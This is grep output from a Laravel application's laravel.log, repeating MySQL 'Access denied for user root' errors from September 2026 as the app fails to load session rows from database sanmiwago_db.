/var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-04 06:07:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = H4XaVYevYtAChmgF3HMC68JUdrPURtOWcMYDpoxw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = H4XaVYevYtAChmgF3HMC68JUdrPURtOWcMYDpoxw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-04 06:36:12] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9Z6SZyPdIdDcLJFDGcBuUjPiACqY8L5KuUpB343J limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9Z6SZyPdIdDcLJFDGcBuUjPiACqY8L5KuUpB343J limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-04 19:00:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = iyS0J9Vt9lQ9CjdwDE6AVxDVJF5uJbEre5OHvl63 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = iyS0J9Vt9lQ9CjdwDE6AVxDVJF5uJbEre5OHvl63 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-04 19:06:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UMujPxhY4laSEywU1A66s3QSiPIJ7EOIxHvxVeMe limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UMujPxhY4laSEywU1A66s3QSiPIJ7EOIxHvxVeMe limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-05 08:26:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UCCvYeFS90iG7WWkM9oInP9qa6WaP96xc2SopkaF limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UCCvYeFS90iG7WWkM9oInP9qa6WaP96xc2SopkaF limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-05 09:55:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nrNs8NzhEwHgSjN8N0Eh89T7XuuCHb7OPkLPzlJn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nrNs8NzhEwHgSjN8N0Eh89T7XuuCHb7OPkLPzlJn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-05 14:49:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KKT6oJW6riamJjxsyXasi4l8wiIP03ZAfBOePj5f limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KKT6oJW6riamJjxsyXasi4l8wiIP03ZAfBOePj5f limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-05 22:15:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xbscqRc0vIxuhsjnGAjAqjqvsEAeeoEXjDCBSRl7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xbscqRc0vIxuhsjnGAjAqjqvsEAeeoEXjDCBSRl7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-05 22:15:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hy81s6qdCeJXx9ox1gpfSkgTeTXa96C8RO6lWPt5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hy81s6qdCeJXx9ox1gpfSkgTeTXa96C8RO6lWPt5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-06 21:10:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = I2fiZiWiHx37jjGJzx42kIGMt8AOnOpXVDGiIPie limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = I2fiZiWiHx37jjGJzx42kIGMt8AOnOpXVDGiIPie limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-06 23:10:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HveQL3xrWXSawtCLBsFOptu980h3iRgXUHQ03Tzd limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HveQL3xrWXSawtCLBsFOptu980h3iRgXUHQ03Tzd limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-08 01:24:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SwTabcsv9ripnPH8r8mVyOUiQSwJufZJlr36mepD limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SwTabcsv9ripnPH8r8mVyOUiQSwJufZJlr36mepD limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-08 01:30:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = If1XHgUED3mMpHrnkCs5kckvu6ja1vVMXSeRqDBU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = If1XHgUED3mMpHrnkCs5kckvu6ja1vVMXSeRqDBU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-08 18:55:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dDRYHivEyIuPi1KGx9BkMCFSJmchjpFQr2cga3jA limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dDRYHivEyIuPi1KGx9BkMCFSJmchjpFQr2cga3jA limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-08 21:19:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QkhXW45FJ3d8abtxq0B0ZSncgXzVt61gRsXDKZIz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QkhXW45FJ3d8abtxq0B0ZSncgXzVt61gRsXDKZIz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-09 00:29:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EnZCSH5gzb1bmYem1UmAyLQnHHMZsR62Gi9aq4Ko limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EnZCSH5gzb1bmYem1UmAyLQnHHMZsR62Gi9aq4Ko limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-09 13:27:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = alOIzBWuK728zwLKnSz6hLLsHFeVIVHig6ogMJkD limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = alOIzBWuK728zwLKnSz6hLLsHFeVIVHig6ogMJkD limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-09 13:34:12] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xzqcZW065UoTeVLGl0l6P8154KMx1ddMSOe90IH3 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xzqcZW065UoTeVLGl0l6P8154KMx1ddMSOe90IH3 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-09 23:40:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DX4vJD03kgmzXrD3KvirtMsN2J5UfuhkQDJtEevq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DX4vJD03kgmzXrD3KvirtMsN2J5UfuhkQDJtEevq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-11 02:10:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TBhtTCScFkEeLetWaI2MUxI8F77V8oc0AelqZNZ7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TBhtTCScFkEeLetWaI2MUxI8F77V8oc0AelqZNZ7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-11 07:55:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ve5HMbSnVeprrLFg34VKAKUsV44fFwh2vrlQxrAt limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ve5HMbSnVeprrLFg34VKAKUsV44fFwh2vrlQxrAt limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-11 21:43:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RO5ScEPHAywGhyL6R9fcOrWGYSq7lC38nES40hFh limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RO5ScEPHAywGhyL6R9fcOrWGYSq7lC38nES40hFh limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-11 23:14:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PZDmu2ztgTEJDmVZba9PpI9Du6WectWmMi5rrZ7c limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PZDmu2ztgTEJDmVZba9PpI9Du6WectWmMi5rrZ7c limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-12 11:31:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RvORlSXGF629iEuCl698njOoitF5FOmLbu9ff5aM limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RvORlSXGF629iEuCl698njOoitF5FOmLbu9ff5aM limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-12 11:55:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cQT1pZpM5kmDh77bMHrBHz1zfhJtPu4XeLgxKWsM limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cQT1pZpM5kmDh77bMHrBHz1zfhJtPu4XeLgxKWsM limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-13 01:08:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WdEWirtpoZFkG9gyLyHZsNfKbml6bLc9cMTT4bsQ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WdEWirtpoZFkG9gyLyHZsNfKbml6bLc9cMTT4bsQ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-13 01:50:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wMVhWpt5l8dAXR3D7JUIebnYGVGueNtxLZbbSKRc limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wMVhWpt5l8dAXR3D7JUIebnYGVGueNtxLZbbSKRc limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-13 13:00:03] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = glPjKg3n4DwFaZ0k1MDzWW2Kuir16V4oepeXWbVn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = glPjKg3n4DwFaZ0k1MDzWW2Kuir16V4oepeXWbVn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-13 13:16:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ihUDCqpoNw0AyvwOxIdzQC0u5ZEgkxLiTxfpVfje limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ihUDCqpoNw0AyvwOxIdzQC0u5ZEgkxLiTxfpVfje limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-13 20:39:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Mrf3ROMCIh4t6gXoy740qgNGX2kUD7D66vUFSnlN limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Mrf3ROMCIh4t6gXoy740qgNGX2kUD7D66vUFSnlN limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at 